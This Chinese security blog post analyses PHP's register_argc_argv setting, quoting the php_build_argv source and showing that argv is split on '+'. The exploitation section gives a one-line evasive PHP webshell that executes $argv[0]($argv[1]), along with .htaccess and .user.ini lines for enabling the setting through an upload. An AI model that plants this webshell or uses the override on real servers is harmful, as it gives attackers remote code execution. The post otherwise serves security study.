【php安全】 register_argc_argv 造成的漏洞分析

【php安全】 register_argc_argv 造成的漏洞分析

对register_argc_argv的分析

简介

使用

cli模式下,不论是否开始register_argc_argv,都可以获取命令行或者说外部参数

web模式下,只有开启了register_argc_argv,才可以获取外部参数

未开启register_argc_argv时

开启register_argc_argv

可以看到,在处理argv时,不是以&作为分隔符,而是以+作为分隔符

学会了register_argc_argv后,它对于安全有什么威胁呢?

修改代码

进行查看

可以看到,当开启register_argc_argv后,Cli模式下会注册两个全局变量$argc,$argv。也就是说它同时在$_SERVER中和超全局变量中创建了对应的参数信息。
(这样就有可能出现变量覆盖的情况

可以看见其中是以+号作为分隔符,而不是&

源码分析

/* {{{ php_build_argv */PHPAPI void php_build_argv(const char *s, zval *track_vars_array){zval arr, argc, tmp;int count = 0;if (!(SG(request_info).argc || track_vars_array)) {return;}array_init(&arr);/* Prepare argv */if (SG(request_info).argc) { /* are we in cli sapi? */int i;for (i = 0; i < SG(request_info).argc; i++) {ZVAL_STRING(&tmp, SG(request_info).argv[i]);if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {zend_string_efree(Z_STR(tmp));}}} else if (s && *s) {while (1) {const char *space = strchr(s, '+');//分隔符的设置/* auto-type */ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));count++;if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {zend_string_efree(Z_STR(tmp));}if (!space) {break;}s = space + 1;}}/* prepare argc */if (SG(request_info).argc) {ZVAL_LONG(&argc, SG(request_info).argc);} else {ZVAL_LONG(&argc, count);}if (SG(request_info).argc) {Z_ADDREF(arr);zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);}if (track_vars_array && Z_TYPE_P(track_vars_array) == IS_ARRAY) {Z_ADDREF(arr);zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);}zval_ptr_dtor_nogc(&arr);}

漏洞利用

用这个特性写个高免杀一句话

<?php$argv = $_SERVER['argv'];// var_dump($argv);$argv[0]($argv[1]);

但是说了这么多,前提得是register_argc_argv开启得情况下,但默认是不开启的,所以这里就到此gg了嘛???看了一个大师傅的博客,发现并非如此

在线查看php文档中php.ini配置清单

可以看到该属性的设置权限为php_ini_perdir,查看配置权限

php中对于配置的设置,设置了权限,即并非任何时刻任何地点都能对配置参数进行设置

柳暗花明又一村

于是乎,就算配置中默认没开启register_argc_argv选项,但我们可以先上传一个.htaccess(Apache)或.user.ini来对配置进行覆盖

.htaccess

php_value register_argc_argv On

.user.ini

register_argc_argv=On

直接尝试

不知道为什么本地就是不成功,按道理应该是可以的..

折腾了小一会儿,突然想起来会不会是没开启.htaccess覆盖模式

将配置修改好后,再次访问成功

漏洞利用(2)

利用pear.cmd从LFI到getshell

总结

姿势是真的骚,基础是真的ε=ε=ε=( ̄▽ ̄)

缺少必要的开发及运维知识,导致对很多配置都不熟悉。。。

  1. .htaccess为什么可以被访问?
    是因为未对请求的资源进行过滤,导致可以访问.htaccess或.user.ini
    2.apache重写模块配置
    https://www.cnblogs.com/liluxiang/p/9450826.html

__EOF__

  • 本文作者: Aur0ra
  • 本文链接: https://www.cnblogs.com/Aurora-M/p/15667618.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 免责声明:本网信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,并请自行核实相关内容。本站不承担此类作品侵权行为的直接责任及连带责任。如若本网有任何内容侵犯您的权益,请及时联系我们,本站将会在24小时内处理完毕。
    相关文章
    返回顶部